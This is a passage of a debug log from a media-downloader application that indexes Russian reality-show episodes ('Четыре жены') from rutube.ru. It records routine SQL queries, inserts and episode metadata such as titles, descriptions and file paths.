женой", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, 6, ~U[2023-06-22 14:41:56Z]] 20:59:08.146 [debug] QUERY OK source="sources" db=10.0ms idle=168.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:08.146 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=177.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:08.147 [debug] QUERY OK source="media_items" db=0.6ms idle=176.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76328] 20:59:08.148 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "duration" => 5841, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", "id" => "153a7989f58dbb01eb0ae4f99fe4688d", "original_url" => "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "playlist_index" => 6, "timestamp" => 1688049607, "title" => "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "upload_date" => "20230629"} 20:59:08.149 [debug] QUERY OK source="sources" db=0.7ms idle=177.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:08.150 [debug] QUERY OK source="sources" db=0.9ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:08.151 [debug] QUERY OK source="media_items" db=0.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 14:40:07Z], 6] 20:59:08.259 [debug] QUERY OK source="media_items" db=106.5ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "d6ca90d3-f3cf-4d1f-9482-f6faf6f01fae", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", 6, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-29 14:40:07Z], ~U[2025-12-08 17:59:08Z], ~U[2025-12-08 17:59:08Z], "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, 6, ~U[2023-06-29 14:40:07Z]] 20:59:08.271 [debug] QUERY OK source="sources" db=12.0ms queue=0.1ms idle=111.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:08.274 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=123.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:08.276 [debug] QUERY OK source="media_items" db=1.3ms idle=124.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76329] 20:59:08.276 [debug] Current batch of media processed. Will check again in 1000ms 20:59:09.277 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "duration" => 6366, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", "id" => "cd8a9b1861cbfd294694f25bc7e289ea", "original_url" => "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "playlist_index" => 7, "timestamp" => 1688653217, "title" => "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "upload_date" => "20230706"} 20:59:09.279 [debug] QUERY OK source="sources" db=0.5ms idle=1019.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:09.280 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1008.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:09.281 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:20:17Z], 6] 20:59:09.362 [debug] QUERY OK source="media_items" db=79.8ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "686210f2-0b1e-4bf6-b569-b03acc94e5d2", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", 7, "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, false, false, 6, [], 1, ~U[2023-07-06 14:20:17Z], ~U[2025-12-08 17:59:09Z], ~U[2025-12-08 17:59:09Z], "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, 6, ~U[2023-07-06 14:20:17Z]] 20:59:09.371 [debug] QUERY OK source="sources" db=8.9ms queue=0.2ms idle=677.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:09.372 [debug] QUERY OK source="media_profiles" db=0.5ms idle=92.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:09.373 [debug] QUERY OK source="media_items" db=0.4ms idle=92.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76330] 20:59:09.374 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "duration" => 7209, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", "id" => "33fe5158059d835e1850255b168d6db4", "original_url" => "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "playlist_index" => 8, "timestamp" => 1689260410, "title" => "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "upload_date" => "20230713"} 20:59:09.376 [debug] QUERY OK source="sources" db=0.6ms idle=94.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:09.377 [debug] QUERY OK source="sources" db=0.7ms idle=14.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:09.378 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 15:00:10Z], 6] 20:59:09.453 [debug] QUERY OK source="media_items" db=74.2ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "33898481-15a9-4df0-8ea6-c08b10694b03", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", 8, "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, false, false, 6, [], 1, ~U[2023-07-13 15:00:10Z], ~U[2025-12-08 17:59:09Z], ~U[2025-12-08 17:59:09Z], "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, 6, ~U[2023-07-13 15:00:10Z]] 20:59:09.464 [debug] QUERY OK source="sources" db=10.5ms queue=0.1ms idle=80.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:09.465 [debug] QUERY OK source="media_profiles" db=0.5ms idle=88.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:09.467 [debug] QUERY OK source="media_items" db=0.9ms idle=88.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76331] 20:59:09.467 [debug] Current batch of media processed. Will check again in 1000ms 20:59:10.468 [debug] Current batch of media processed. Will check again in 1000ms 20:59:11.469 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "duration" => 7100, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", "id" => "bf2495e6657bbc1a1be5ee29b52ca7ff", "original_url" => "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "playlist_index" => 9, "timestamp" => 1689864005, "title" => "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "upload_date" => "20230720"} 20:59:11.470 [debug] QUERY OK source="sources" db=0.5ms idle=779.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:11.471 [debug] QUERY OK source="sources" db=0.2ms idle=458.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.472 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=459.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 14:40:05Z], 6] 20:59:11.558 [debug] QUERY OK source="media_items" db=85.3ms idle=460.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "15f4685a-868a-4dab-a829-1809eeef4710", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", 9, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, false, false, 6, [], 1, ~U[2023-07-20 14:40:05Z], ~U[2025-12-08 17:59:11Z], ~U[2025-12-08 17:59:11Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в 